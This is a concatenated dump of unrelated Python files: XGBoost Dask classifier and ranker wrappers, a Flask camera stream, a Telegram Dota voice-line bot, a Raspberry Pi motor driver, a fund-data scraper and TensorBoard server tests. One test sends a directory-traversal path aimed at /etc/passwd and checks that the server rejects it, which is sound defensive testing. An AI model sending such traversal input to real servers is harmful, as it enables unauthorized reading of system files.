early_stopping_rounds: Optional[int] = None,
verbose: Union[int, bool] = True,
xgb_model: Optional[Union[Booster, XGBModel]] = None,
sample_weight_eval_set: Optional[Sequence[_DaskCollection]] = None,
base_margin_eval_set: Optional[Sequence[_DaskCollection]] = None,
feature_weights: Optional[_DaskCollection] = None,
callbacks: Optional[Sequence[TrainingCallback]] = None,
) -> "DaskXGBRegressor":
_assert_dask_support()
args = {k: v for k, v in locals().items() if k not in ("self", "__class__")}
return self._client_sync(self._fit_async, **args)
@xgboost_model_doc(
"Implementation of the scikit-learn API for XGBoost classification.",
["estimators", "model"],
)
class DaskXGBClassifier(DaskScikitLearnBase, XGBClassifierBase):
# pylint: disable=missing-class-docstring
async def _fit_async(
self,
X: _DaskCollection,
y: _DaskCollection,
sample_weight: Optional[_DaskCollection],
base_margin: Optional[_DaskCollection],
eval_set: Optional[Sequence[Tuple[_DaskCollection, _DaskCollection]]],
eval_metric: Optional[Union[str, Sequence[str], Metric]],
sample_weight_eval_set: Optional[Sequence[_DaskCollection]],
base_margin_eval_set: Optional[Sequence[_DaskCollection]],
early_stopping_rounds: Optional[int],
verbose: Union[int, bool],
xgb_model: Optional[Union[Booster, XGBModel]],
feature_weights: Optional[_DaskCollection],
callbacks: Optional[Sequence[TrainingCallback]],
) -> "DaskXGBClassifier":
params = self.get_xgb_params()
dtrain, evals = await _async_wrap_evaluation_matrices(
self.client,
X=X,
y=y,
group=None,
qid=None,
sample_weight=sample_weight,
base_margin=base_margin,
feature_weights=feature_weights,
eval_set=eval_set,
sample_weight_eval_set=sample_weight_eval_set,
base_margin_eval_set=base_margin_eval_set,
eval_group=None,
eval_qid=None,
missing=self.missing,
enable_categorical=self.enable_categorical,
feature_types=self.feature_types,
)
# pylint: disable=attribute-defined-outside-init
if isinstance(y, (da.Array)):
self.classes_ = await self.client.compute(da.unique(y))
else:
self.classes_ = await self.client.compute(y.drop_duplicates())
self.n_classes_ = len(self.classes_)
if self.n_classes_ > 2:
params["objective"] = "multi:softprob"
params["num_class"] = self.n_classes_
else:
params["objective"] = "binary:logistic"
if callable(self.objective):
obj: Optional[Callable] = _objective_decorator(self.objective)
else:
obj = None
model, metric, params, early_stopping_rounds, callbacks = self._configure_fit(
xgb_model, eval_metric, params, early_stopping_rounds, callbacks
)
results = await self.client.sync(
_train_async,
asynchronous=True,
client=self.client,
global_config=config.get_config(),
dconfig=_get_dask_config(),
params=params,
dtrain=dtrain,
num_boost_round=self.get_num_boosting_rounds(),
evals=evals,
obj=obj,
feval=None,
custom_metric=metric,
verbose_eval=verbose,
early_stopping_rounds=early_stopping_rounds,
callbacks=callbacks,
xgb_model=model,
)
self._Booster = results["booster"]
if not callable(self.objective):
self.objective = params["objective"]
self._set_evaluation_result(results["history"])
return self
# pylint: disable=unused-argument
def fit(
self,
X: _DaskCollection,
y: _DaskCollection,
*,
sample_weight: Optional[_DaskCollection] = None,
base_margin: Optional[_DaskCollection] = None,
eval_set: Optional[Sequence[Tuple[_DaskCollection, _DaskCollection]]] = None,
eval_metric: Optional[Union[str, Sequence[str], Callable]] = None,
early_stopping_rounds: Optional[int] = None,
verbose: Union[int, bool] = True,
xgb_model: Optional[Union[Booster, XGBModel]] = None,
sample_weight_eval_set: Optional[Sequence[_DaskCollection]] = None,
base_margin_eval_set: Optional[Sequence[_DaskCollection]] = None,
feature_weights: Optional[_DaskCollection] = None,
callbacks: Optional[Sequence[TrainingCallback]] = None,
) -> "DaskXGBClassifier":
_assert_dask_support()
args = {k: v for k, v in locals().items() if k not in ("self", "__class__")}
return self._client_sync(self._fit_async, **args)
async def _predict_proba_async(
self,
X: _DaskCollection,
validate_features: bool,
base_margin: Optional[_DaskCollection],
iteration_range: Optional[Tuple[int, int]],
) -> _DaskCollection:
if self.objective == "multi:softmax":
raise ValueError(
"multi:softmax doesn't support `predict_proba`. "
"Switch to `multi:softproba` instead"
)
predts = await super()._predict_async(
data=X,
output_margin=False,
validate_features=validate_features,
base_margin=base_margin,
iteration_range=iteration_range,
)
vstack = update_wrapper(
partial(da.vstack, allow_unknown_chunksizes=True), da.vstack
)
return _cls_predict_proba(getattr(self, "n_classes_", 0), predts, vstack)
# pylint: disable=missing-function-docstring
def predict_proba(
self,
X: _DaskCollection,
ntree_limit: Optional[int] = None,
validate_features: bool = True,
base_margin: Optional[_DaskCollection] = None,
iteration_range: Optional[Tuple[int, int]] = None,
) -> Any:
_assert_dask_support()
msg = "`ntree_limit` is not supported on dask, use `iteration_range` instead."
assert ntree_limit is None, msg
return self._client_sync(
self._predict_proba_async,
X=X,
validate_features=validate_features,
base_margin=base_margin,
iteration_range=iteration_range,
)
predict_proba.__doc__ = XGBClassifier.predict_proba.__doc__
async def _predict_async(
self,
data: _DaskCollection,
output_margin: bool,
validate_features: bool,
base_margin: Optional[_DaskCollection],
iteration_range: Optional[Tuple[int, int]],
) -> _DaskCollection:
pred_probs = await super()._predict_async(
data, output_margin, validate_features, base_margin, iteration_range
)
if output_margin:
return pred_probs
if len(pred_probs.shape) == 1:
preds = (pred_probs > 0.5).astype(int)
else:
assert len(pred_probs.shape) == 2
assert isinstance(pred_probs, da.Array)
# when using da.argmax directly, dask will construct a numpy based return
# array, which runs into error when computing GPU based prediction.
def _argmax(x: Any) -> Any:
return x.argmax(axis=1)
preds = da.map_blocks(_argmax, pred_probs, drop_axis=1)
return preds
@xgboost_model_doc(
"""Implementation of the Scikit-Learn API for XGBoost Ranking.
.. versionadded:: 1.4.0
""",
["estimators", "model"],
end_note="""
.. note::
For dask implementation, group is not supported, use qid instead.
""",
)
class DaskXGBRanker(DaskScikitLearnBase, XGBRankerMixIn):
@_deprecate_positional_args
def __init__(self, *, objective: str = "rank:pairwise", **kwargs: Any):
if callable(objective):
raise ValueError("Custom objective function not supported by XGBRanker.")
super().__init__(objective=objective, kwargs=kwargs)
async def _fit_async(
self,
X: _DaskCollection,
y: _DaskCollection,
group: Optional[_DaskCollection],
qid: Optional[_DaskCollection],
sample_weight: Optional[_DaskCollection],
base_margin: Optional[_DaskCollection],
eval_set: Optional[Sequence[Tuple[_DaskCollection, _DaskCollection]]],
sample_weight_eval_set: Optional[Sequence[_DaskCollection]],
base_margin_eval_set: Optional[Sequence[_DaskCollection]],
eval_group: Optional[Sequence[_DaskCollection]],
eval_qid: Optional[Sequence[_DaskCollection]],
eval_metric: Optional[Union[str, Sequence[str], Metric]],
early_stopping_rounds: Optional[int],
verbose: Union[int, bool],
xgb_model: Optional[Union[XGBModel, Booster]],
feature_weights: Optional[_DaskCollection],
callbacks: Optional[Sequence[TrainingCallback]],
) -> "DaskXGBRanker":
msg = "Use `qid` instead of `group` on dask interface."
if not (group is None and eval_group is None):
raise ValueError(msg)
if qid is None:
raise ValueError("`qid` is required for ranking.")
params = self.get_xgb_params()
dtrain, evals = await _async_wrap_evaluation_matrices(
self.client,
X=X,
y=y,
group=None,
qid=qid,
sample_weight=sample_weight,
base_margin=base_margin,
feature_weights=feature_weights,
eval_set=eval_set,
sample_weight_eval_set=sample_weight_eval_set,
base_margin_eval_set=base_margin_eval_set,
eval_group=None,
eval_qid=eval_qid,
missing=self.missing,
enable_categorical=self.enable_categorical,
feature_types=self.feature_types,
)
if eval_metric is not None:
if callable(eval_metric):
raise ValueError(
"Custom evaluation metric is not yet supported for XGBRanker."
)
model, metric, params, early_stopping_rounds, callbacks = self._configure_fit(
xgb_model, eval_metric, params, early_stopping_rounds, callbacks
)
results = await self.client.sync(
_train_async,
asynchronous=True,
client=self.client,
global_config=config.get_config(),
dconfig=_get_dask_config(),
params=params,
dtrain=dtrain,
num_boost_round=self.get_num_boosting_rounds(),
evals=evals,
obj=None,
feval=None,
custom_metric=metric,
verbose_eval=verbose,
early_stopping_rounds=early_stopping_rounds,
callbacks=callbacks,
xgb_model=model,
)
self._Booster = results["booster"]
self.evals_result_ = results["history"]
return self
# pylint: disable=unused-argument, arguments-differ
@_deprecate_positional_args
def fit(
self,
X: _DaskCollection,
y: _DaskCollection,
*,
group: Optional[_DaskCollection] = None,
qid: Optional[_DaskCollection] = None,
sample_weight: Optional[_DaskCollection] = None,
base_margin: Optional[_DaskCollection] = None,
eval_set: Optional[Sequence[Tuple[_DaskCollection, _DaskCollection]]] = None,
eval_group: Optional[Sequence[_DaskCollection]] = None,
eval_qid: Optional[Sequence[_DaskCollection]] = None,
eval_metric: Optional[Union[str, Sequence[str], Callable]] = None,
early_stopping_rounds: int = None,
verbose: Union[int, bool] = False,
xgb_model: Optional[Union[XGBModel, Booster]] = None,
sample_weight_eval_set: Optional[Sequence[_DaskCollection]] = None,
base_margin_eval_set: Optional[Sequence[_DaskCollection]] = None,
feature_weights: Optional[_DaskCollection] = None,
callbacks: Optional[Sequence[TrainingCallback]] = None,
) -> "DaskXGBRanker":
_assert_dask_support()
args = {k: v for k, v in locals().items() if k not in ("self", "__class__")}
return self._client_sync(self._fit_async, **args)
# FIXME(trivialfis): arguments differ due to additional parameters like group and qid.
fit.__doc__ = XGBRanker.fit.__doc__
@xgboost_model_doc(
"""Implementation of the Scikit-Learn API for XGBoost Random Forest Regressor.
.. versionadded:: 1.4.0
""",
["model", "objective"],
extra_parameters="""
n_estimators : int
Number of trees in random forest to fit.
""",
)
class DaskXGBRFRegressor(DaskXGBRegressor):
@_deprecate_positional_args
def __init__(
self,
*,
learning_rate: Optional[float] = 1,
subsample: Optional[float] = 0.8,
colsample_bynode: Optional[float] = 0.8,
reg_lambda: Optional[float] = 1e-5,
**kwargs: Any,
) -> None:
super().__init__(
learning_rate=learning_rate,
subsample=subsample,
colsample_bynode=colsample_bynode,
reg_lambda=reg_lambda,
**kwargs,
)
def get_xgb_params(self) -> Dict[str, Any]:
params = super().get_xgb_params()
params["num_parallel_tree"] = self.n_estimators
return params
def get_num_boosting_rounds(self) -> int:
return 1
# pylint: disable=unused-argument
def fit(
self,
X: _DaskCollection,
y: _DaskCollection,
*,
sample_weight: Optional[_DaskCollection] = None,
base_margin: Optional[_DaskCollection] = None,
eval_set: Optional[Sequence[Tuple[_DaskCollection, _DaskCollection]]] = None,
eval_metric: Optional[Union[str, Sequence[str], Callable]] = None,
early_stopping_rounds: Optional[int] = None,
verbose: Union[int, bool] = True,
xgb_model: Optional[Union[Booster, XGBModel]] = None,
sample_weight_eval_set: Optional[Sequence[_DaskCollection]] = None,
base_margin_eval_set: Optional[Sequence[_DaskCollection]] = None,
feature_weights: Optional[_DaskCollection] = None,
callbacks: Optional[Sequence[TrainingCallback]] = None,
) -> "DaskXGBRFRegressor":
_assert_dask_support()
args = {k: v for k, v in locals().items() if k not in ("self", "__class__")}
_check_rf_callback(early_stopping_rounds, callbacks)
super().fit(**args)
return self
@xgboost_model_doc(
"""Implementation of the Scikit-Learn API for XGBoost Random Forest Classifier.
.. versionadded:: 1.4.0
""",
["model", "objective"],
extra_parameters="""
n_estimators : int
Number of trees in random forest to fit.
""",
)
class DaskXGBRFClassifier(DaskXGBClassifier):
@_deprecate_positional_args
def __init__(
self,
*,
learning_rate: Optional[float] = 1,
subsample: Optional[float] = 0.8,
colsample_bynode: Optional[float] = 0.8,
reg_lambda: Optional[float] = 1e-5,
**kwargs: Any,
) -> None:
super().__init__(
learning_rate=learning_rate,
subsample=subsample,
colsample_bynode=colsample_bynode,
reg_lambda=reg_lambda,
**kwargs,
)
def get_xgb_params(self) -> Dict[str, Any]:
params = super().get_xgb_params()
params["num_parallel_tree"] = self.n_estimators
return params
def get_num_boosting_rounds(self) -> int:
return 1
# pylint: disable=unused-argument
def fit(
self,
X: _DaskCollection,
y: _DaskCollection,
*,
sample_weight: Optional[_DaskCollection] = None,
base_margin: Optional[_DaskCollection] = None,
eval_set: Optional[Sequence[Tuple[_DaskCollection, _DaskCollection]]] = None,
eval_metric: Optional[Union[str, Sequence[str], Callable]] = None,
early_stopping_rounds: Optional[int] = None,
verbose: Union[int, bool] = True,
xgb_model: Optional[Union[Booster, XGBModel]] = None,
sample_weight_eval_set: Optional[Sequence[_DaskCollection]] = None,
base_margin_eval_set: Optional[Sequence[_DaskCollection]] = None,
feature_weights: Optional[_DaskCollection] = None,
callbacks: Optional[Sequence[TrainingCallback]] = None,
) -> "DaskXGBRFClassifier":
_assert_dask_support()
args = {k: v for k, v in locals().items() if k not in ("self", "__class__")}
_check_rf_callback(early_stopping_rounds, callbacks)
super().fit(**args)
return self
|
app.py | #!/usr/bin/env python
from importlib import import_module
import os
from flask import Flask, render_template, Response, send_from_directory
from flask_cors import *
# import camera driver
from camera_opencv import Camera
import threading
# Raspberry Pi camera module (requires picamera package)
# from camera_pi import Camera
app = Flask(__name__)
CORS(app, supports_credentials=True)
camera = Camera()
def gen(camera):
"""Video streaming generator function."""
while True:
frame = camera.get_frame()
yield (b'--frame\r\n'
b'Content-Type: image/jpeg\r\n\r\n' + frame + b'\r\n')
@app.route('/video_feed')
def video_feed():
"""Video streaming route. Put this in the src attribute of an img tag."""
return Response(gen(camera),
mimetype='multipart/x-mixed-replace; boundary=frame')
dir_path = os.path.dirname(os.path.realpath(__file__))
@app.route('/api/img/<path:filename>')
def sendimg(filename):
return send_from_directory(dir_path+'/dist/img', filename)
@app.route('/js/<path:filename>')
def sendjs(filename):
return send_from_directory(dir_path+'/dist/js', filename)
@app.route('/css/<path:filename>')
def sendcss(filename):
return send_from_directory(dir_path+'/dist/css', filename)
@app.route('/api/img/icon/<path:filename>')
def sendicon(filename):
return send_from_directory(dir_path+'/dist/img/icon', filename)
@app.route('/fonts/<path:filename>')
def sendfonts(filename):
return send_from_directory(dir_path+'/dist/fonts', filename)
@app.route('/<path:filename>')
def sendgen(filename):
return send_from_directory(dir_path+'/dist', filename)
@app.route('/')
def index():
return send_from_directory(dir_path+'/dist', 'index.html')
class webapp:
def __init__(self):
self.camera = camera
def modeselect(self, modeInput):
Camera.modeSelect = modeInput
def colorFindSet(self, H, S, V):
camera.colorFindSet(H, S, V)
def thread(self):
app.run(host='0.0.0.0', threaded=True)
def startthread(self):
fps_threading=threading.Thread(target=self.thread) #Define a thread for FPV and OpenCV
fps_threading.setDaemon(False) #'True' means it is a front thread,it would close when the mainloop() closes
fps_threading.start() #Thread starts
|
bot.py | import io
import random
import re
import string
from multiprocessing import Process, Manager
from flask import Flask, url_for
from mutagen.mp3 import MPEGInfo
import requests
import telebot
from app.dotawiki import DotaWikiScrapper
def telegram_audio_result(response: dict, answer_id: int, results: list):
text = f"<a href='{response['url']}'><b>{response['response']}</b></a> - <i>{response['name']}</i>"
audio_response = requests.get(response["url"])
input_audio_message = telebot.types.InputMediaAudio(
media=io.BytesIO(audio_response.content),
caption=text,
parse_mode="HTML",
duration=MPEGInfo(io.BytesIO(audio_response.content)).length,
performer=response["name"],
title=response["response"]
)
inline_query_preview = telebot.types.InlineQueryResultAudio(
id=answer_id,
audio_url=response["url"],
title=response['response'],
caption=text,
parse_mode="HTML",
performer=response["name"],
audio_duration=int(MPEGInfo(io.BytesIO(audio_response.content)).length) + 1,
input_message_content=input_audio_message
)
results.append(inline_query_preview)
return inline_query_preview
class TelegramBot:
def __init__(self, app: Flask=None):
self.bot: telebot.TeleBot = None
telebot.logger.setLevel(telebot.logging.WARNING)
if app:
self.init_app(app)
def init_app(self, app: Flask):
self.scrapper = DotaWikiScrapper()
self.bot = telebot.TeleBot(app.config["TELEGRAM_API_TOKEN"])
@self.bot.message_handler(content_types=["text"])
def dota_response_handler(message: telebot.types.Message):
pattern = re.compile("[a-zA-Z0-9_ " + string.punctuation + "]")
if re.match(pattern, message.text):
responses = self.scrapper.pick_random_hero_response(message.text, strict=True, multi=True)
if responses:
response = random.choice(self.scrapper.pick_random_hero_response(message.text, strict=True, multi=True))
text = f"<a href='{response['url']}'><b>{response['response']}</b></a> - <i>{response['name']}</i>"
audio_response = requests.get(response["url"])
self.bot.send_audio(
chat_id=message.chat.id,
audio=io.BytesIO(audio_response.content),
caption=text,
parse_mode="HTML",
reply_to_message_id=message.id,
duration=MPEGInfo(io.BytesIO(audio_response.content)).length,
title=response["response"],
performer=response["name"],
)
@self.bot.inline_handler(lambda x: len(x.query) > 2)
def dota_inline_response_handler(inline_query: telebot.types.InlineQuery):
responses = self.scrapper.pick_random_hero_response(query=inline_query.query, strict=False, multi=True)
results = Manager().list()
task_list = []
for response in responses:
task = Process(target=telegram_audio_result)
task_list.append(task)
task._args = (response, len(task_list), results)
task.start()
for task in task_list:
task.join()
self.bot.answer_inline_query(inline_query.id, results)
self.bot.remove_webhook()
if not app.config["SERVER_NAME"] == "0.0.0.0":
self.bot.set_webhook("https://" + app.config["SERVER_NAME"] + f"/{app.config['TELEGRAM_API_TOKEN']}")
else:
self.bot.infinity_polling()
return self.bot
|
MotorV3.py | import RPi.GPIO as GPIO
import threading
import time
class Motor:
def __init__(self, pwma_pin, pwmb_pin, ain1_pin, ain2_pin, bin1_pin, bin2_pin, stby_pin):
GPIO.setmode(GPIO.BOARD)
GPIO.setwarnings(False)
# Motor 1: forwards/backwards
self.ain1_pin = ain1_pin
self.ain2_pin = ain2_pin
# Motor 2: left/right
self.bin1_pin = bin1_pin
self.bin2_pin = bin2_pin
self.stby_pin = stby_pin
GPIO.setup(pwma_pin, GPIO.OUT)
GPIO.setup(pwmb_pin, GPIO.OUT)
GPIO.setup(ain1_pin, GPIO.OUT)
GPIO.setup(ain2_pin, GPIO.OUT)
GPIO.setup(bin1_pin, GPIO.OUT)
GPIO.setup(bin2_pin, GPIO.OUT)
GPIO.setup(stby_pin, GPIO.OUT)
self.pwma = GPIO.PWM(pwma_pin, 100)
self.pwmb = GPIO.PWM(pwmb_pin, 100)
self.pwma.start(100)
self.pwmb.start(100)
self.commands = {
"GO_FORWARDS": self.forward,
"GO_BACKWARDS": self.reverse,
"TURN_LEFT": self.left,
"TURN_RIGHT": self.right,
"FORWARD_TURN_LEFT": self.forward_left,
"FORWARD_TURN_RIGHT": self.forward_right,
"BACKWARD_TURN_LEFT": self.reverse_left,
"BACKWARD_TURN_RIGHT": self.reverse_right,
"NONE": self.off,
}
self.current_command = "NONE"
self.prev_command = ""
def set_current_command(self, command):
self.current_command = command
def start_motors(self):
while True:
if self.current_command != self.prev_command:
self.prev_command = self.current_command
self.commands[self.current_command]()
# 0 is forward/backwards
# 1 is left/right
def forward(self):
self.run_motor(0, 60, 0)
self.run_motor(1, 0, 0)
def reverse(self):
self.run_motor(0, 60, 1)
self.run_motor(1, 0, 0)
def left(self):
self.run_motor(0, 0, 0)
self.run_motor(1, 40, 0)
def right(self):
self.run_motor(0, 0, 0)
self.run_motor(1, 40, 1)
def forward_left(self):
self.run_motor(0, 60, 0)
self.run_motor(1, 20, 0)
def forward_right(self):
self.run_motor(0, 60, 0)
self.run_motor(1, 20, 1)
def reverse_left(self):
self.run_motor(0, 60, 1)
self.run_motor(1, 20, 0)
def reverse_right(self):
self.run_motor(0, 60, 1)
self.run_motor(1, 20, 1)
def off(self):
self.run_motor(0, 0, 0)
self.run_motor(1, 0, 0)
def liniar_speedup(self, max_speed, command):
current_speed = 30
while current_speed < max_speed:
if command != self.current_command:
break
self.pwma.ChangeDutyCycle(current_speed)
current_speed += 1
time.sleep(0.125)
def run_motor(self, motor, speed, direction):
GPIO.output(self.stby_pin, GPIO.HIGH);
in1 = GPIO.HIGH
in2 = GPIO.LOW
#change polarity
if(direction == 1):
in1 = GPIO.LOW
in2 = GPIO.HIGH
if(motor == 0):
GPIO.output(self.ain1_pin, in1)
GPIO.output(self.ain2_pin, in2)
t = threading.Thread(target=self.liniar_speedup, args=[speed, self.current_command])
t.start()
t.join()
self.pwma.ChangeDutyCycle(speed)
elif(motor == 1):
GPIO.output(self.bin1_pin, in1)
GPIO.output(self.bin2_pin, in2)
self.pwmb.ChangeDutyCycle(speed) |
s.py | # coding: utf-8
from selenium.webdriver.support.ui import WebDriverWait
from selenium import webdriver
from bs4 import BeautifulSoup
from threading import Thread,Lock
import os
import csv
from selenium.webdriver.support import expected_conditions as EC
from pyquery import PyQuery as pq
from selenium.webdriver.common.by import By
import re
# 下面是利用 selenium 抓取html页面的代码
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('--headless')
chrome_options.add_argument('--disable-gpu')
driver = webdriver.Chrome(options=chrome_options)#options=chrome_options
url_list = []
def get_url():
print('正在获取货币基金排行榜......')
#
driver.get('http://fund.eastmoney.com/data/hbxfundranking.html')
WebDriverWait(driver,20).until(EC.presence_of_element_located((By.CSS_SELECTOR,'#dbtable')))
html = driver.page_source
doc = pq(html)
items = doc('#dbtable > tbody > tr > td:nth-child(3) > a').items()
for i in items:
url = 'http://fundf10.eastmoney.com/jjjz_{}.html'.format(i.text())
# print(url)
url_list.append(url)
# get_next_url()
# return url_list
# def get_next_url():
# for i in range(2,4):
#
#
# WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.CSS_SELECTOR, '#dbtable > tbody')))
# inputs = WebDriverWait(driver, 20).until(
# EC.presence_of_element_located((By.CSS_SELECTOR, '#pnum')))
# submit = WebDriverWait(driver, 20).until(
# EC.element_to_be_clickable((By.CSS_SELECTOR, '#pagebar > input.pgo')))
#
# inputs.clear() # 第x页 输入框
# inputs.send_keys(str(i)) # 去第x页
# submit.click() # 点击按钮
#
# html = driver.page_source
# doc = pq(html)
# items = doc('#dbtable > tbody > tr > td:nth-child(3) > a').items()
# for i in items:
# url = 'http://fundf10.eastmoney.com/jjjz_{}.html'.format(i.text())
# # print(url)
# url_list.append(url)
#
# 初始化函数
def initSpider(url):
# driver = webdriver.Chrome()
driver.get(url) # 要抓取的网页地址
# 找到"下一页"按钮,就可以得到它前面的一个label,就是总页数
getPage_text = driver.find_element_by_id("pagebar").find_element_by_xpath(
"div[@class='pagebtns']/label[text()='下一页']/preceding-sibling::label[1]").get_attribute("innerHTML")
# 得到总共有多少页
total_page = int("".join(filter(str.isdigit, getPage_text)))
# 返回
return total_page
# 获取html内容
def getData(myrange,lock):
for x in myrange:
# 锁住
lock.acquire()
tonum = driver.find_element_by_id("pagebar").find_element_by_xpath(
"div[@class='pagebtns']/input[@class='pnum']") # 得到 页码文本框
jumpbtn = driver.find_element_by_id("pagebar").find_element_by_xpath(
"div[@class='pagebtns']/input[@class='pgo']") # 跳转到按钮
tonum.clear() # 第x页 输入框
tonum.send_keys(str(x)) # 去第x页
jumpbtn.click() # 点击按钮
# 抓取
# WebDriverWait(driver, 20).until(lambda driver: driver.find_element_by_id("pagebar").find_element_by_xpath("div[@class='pagebtns']/label[@value={0} and @class='cur']".format(x)) != None)
################################
WebDriverWait(driver,20).until(EC.presence_of_element_located((By.CSS_SELECTOR, '#jztable > table > tbody')))
html = driver.page_source
doc = pq(html)
#items_name = doc('#jztable > table > thead > tr > th').items()
items = doc('#jztable > table > tbody > tr').items()
filename = doc('#bodydiv > div:nth-child(13) > div.r_cont.right > div.basic-new > div.bs_jz > div.col-left > h4 > a').text()
if 'fund_csv' not in os.listdir():
os.makedirs('fund_csv')
if x == 1:
header = ['净值日期','每万份收益','7日年化收益率(%)']
with open("./fund_csv/{}.csv".format(filename), 'a',newline='',encoding='gbk') as f:
write = csv.writer(f)
write.writerow(header)
f.close()
with open("./fund_csv/{}.csv".format(filename), 'a', newline='',encoding='gbk') as f:
for item in items:
fund = [
item.find('td:nth-child(1)').text().strip(),
re.compile('((-?\d+)(\.\d+)?)').search(item.find('td:nth-child(2)').text().strip()).group(1),
item.find('td:nth-child(3)').text(),
]
# fund = {
# 'date':item.find('td:nth-child(1)').text() ,
# 'net_unit':item.find('td:nth-child(2)').text().strip(),
# 'accumulated_net':item.find('td:nth-child(3)').text(),
# 'rate':item.find('td:nth-child(4)').text(),
# 'requisition_status':item.find('td:nth-child(5)').text(),
# 'redemption_status':item.find('td:nth-child(6)').text()
# }
# print(fund)
# 保存到项目中
# with open("./fund_csv/{}.csv".format(filename), 'a',encoding='utf-8', newline=None) as f:
write = csv.writer(f)
write.writerow(fund)
f.close()
################################
# 解锁
lock.release()
# 开始抓取函数
def beginSpider(url):
# 初始化爬虫
total_page = initSpider(url)
# 创建锁
lock = Lock()
r = range(1, int(total_page)+1)
step = 10
range_list = [r[x:x + step] for x in range(0, len(r), step)] #把页码分段
thread_list = []
for r in range_list:
t = Thread(target=getData, args=(r,lock))
thread_list.append(t)
t.start()
for t in thread_list:
t.join() # 这一步是需要的,等待线程全部执行完成
print("抓取{}完成".format(url))
def main():
get_url()
# count = 0
for url in url_list:
# count += 1
beginSpider(url)
driver.close()
if __name__ == '__main__':
main() |
server_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Integration tests for TensorBoard.
These tests start up a full-fledged TensorBoard server.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import base64
import gzip
import json
import numbers
import os
import shutil
import tempfile
import threading
import numpy as np
from six import BytesIO
from six.moves import http_client
from six.moves import xrange # pylint: disable=redefined-builtin
import tensorflow as tf
from google.protobuf import text_format
from tensorflow.contrib.tensorboard.plugins.projector.projector_config_pb2 import ProjectorConfig
from tensorflow.core.protobuf import meta_graph_pb2
from tensorflow.python.platform import resource_loader
from tensorflow.python.summary import event_multiplexer
from tensorflow.tensorboard.backend import server
from tensorflow.tensorboard.plugins import REGISTERED_PLUGINS
class TensorboardServerTest(tf.test.TestCase):
_only_use_meta_graph = False # Server data contains only a GraphDef
# Number of scalar-containing events to make.
_SCALAR_COUNT = 99
def setUp(self):
temp_dir = self._GenerateTestData()
self._multiplexer = event_multiplexer.EventMultiplexer(
size_guidance=server.TENSORBOARD_SIZE_GUIDANCE)
server.ReloadMultiplexer(self._multiplexer, {temp_dir: None})
# 0 to pick an unused port.
self._server = server.BuildServer(
self._multiplexer, 'localhost', 0, '/foo/logdir/argument')
self._server_thread = threading.Thread(target=self._server.serve_forever)
self._server_thread.daemon = True
self._server_thread.start()
self._connection = http_client.HTTPConnection(
'localhost', self._server.server_address[1])
def tearDown(self):
self._connection.close()
self._server.shutdown()
self._server.server_close()
def _get(self, path, headers={}):
"""Perform a GET request for the given path."""
self._connection.request('GET', path, None, headers)
return self._connection.getresponse()
def _getJson(self, path):
"""Perform a GET request and decode the result as JSON."""
self._connection.request('GET', path)
response = self._connection.getresponse()
self.assertEqual(response.status, 200)
data = response.read()
if response.getheader('Content-Encoding') == 'gzip':
data = gzip.GzipFile('', 'rb', 9, BytesIO(data)).read()
return json.loads(data.decode('utf-8'))
def testBasicStartup(self):
"""Start the server up and then shut it down immediately."""
pass
def testRequestMainPage(self):
"""Navigate to the main page and verify that it returns a 200."""
response = self._get('/')
self.assertEqual(response.status, 200)
def testRequestNonexistentPage(self):
"""Request a page that doesn't exist; it should 404."""
response = self._get('/asdf')
self.assertEqual(response.status, 404)
def testDirectoryTraversal(self):
"""Attempt a directory traversal attack."""
response = self._get('/..' * 30 + '/etc/passwd')
self.assertEqual(response.status, 400)
def testLogdir(self):
"""Test the format of the data/logdir endpoint."""
parsed_object = self._getJson('/data/logdir')
self.assertEqual(parsed_object, {'logdir': '/foo/logdir/argument'})
def testRuns(self):
"""Test the format of the /data/runs endpoint."""
run_json = self._getJson('/data/runs')
# Don't check the actual timestamp since it's time-dependent.
self.assertTrue(isinstance(run_json['run1']['firstEventTimestamp'],
numbers.Number))
del run_json['run1']['firstEventTimestamp']
self.assertEqual(run_json, {'run1': {
'compressedHistograms': ['histogram'],
'scalars': ['simple_values'],
'histograms': ['histogram'],
'images': ['image'],
'audio': ['audio'],
# if only_use_meta_graph, the graph is extracted from the metagraph
'graph': True,
'meta_graph': self._only_use_meta_graph,
'run_metadata': ['test run']}})
def testApplicationPaths_getCached(self):
"""Test the format of the /data/runs endpoint."""
for path in ('/',): # TODO(jart): '/app.js' in open source
connection = http_client.HTTPConnection(
'localhost', self._server.server_address[1])
connection.request('GET', path)
response = connection.getresponse()
self.assertEqual(response.status, 200, msg=path)
self.assertEqual(response.getheader('Cache-Control'),
'private, max-age=3600', msg=path)
connection.close()
def testDataPaths_disableAllCaching(self):
"""Test the format of the /data/runs endpoint."""
for path in ('/data/runs',
'/data/logdir',
'/data/scalars?run=run1&tag=simple_values',
'/data/scalars?run=run1&tag=simple_values&format=csv',
'/data/images?run=run1&tag=image',
'/data/individualImage?run=run1&tag=image&index=0',
'/data/audio?run=run1&tag=audio',
'/data/run_metadata?run=run1&tag=test%20run'):
connection = http_client.HTTPConnection(
'localhost', self._server.server_address[1])
connection.request('GET', path)
response = connection.getresponse()
self.assertEqual(response.status, 200, msg=path)
self.assertEqual(response.getheader('Expires'), '0', msg=path)
response.read()
connection.close()
def testHistograms(self):
"""Test the format of /data/histograms."""
self.assertEqual(
self._getJson('/data/histograms?tag=histogram&run=run1'),
[[0, 0, [0, 2.0, 3.0, 6.0, 5.0, [0.0, 1.0, 2.0], [1.0, 1.0, 1.0]]]])
def testSampleScalars(self):
"""Test the sample_count parameter of /data/scalars."""
for i in xrange(10, self._SCALAR_COUNT, 10):
samples = self._getJson('/data/scalars?sample_count=%d' % i)
values = samples['run1']['simple_values']
# Verify that we got the right amount of values and that we got the
# endpoints.
self.assertEqual(len(values), i)
self.assertEqual(values[0], [100, 10, 1])
self.assertEqual(values[-1], [9900, 990, 99])
def testSampleScalarsWithLargeSampleCount(self):
"""Test using a large sample_count."""
samples = self._getJson('/data/scalars?sample_count=999999')
values = samples['run1']['simple_values']
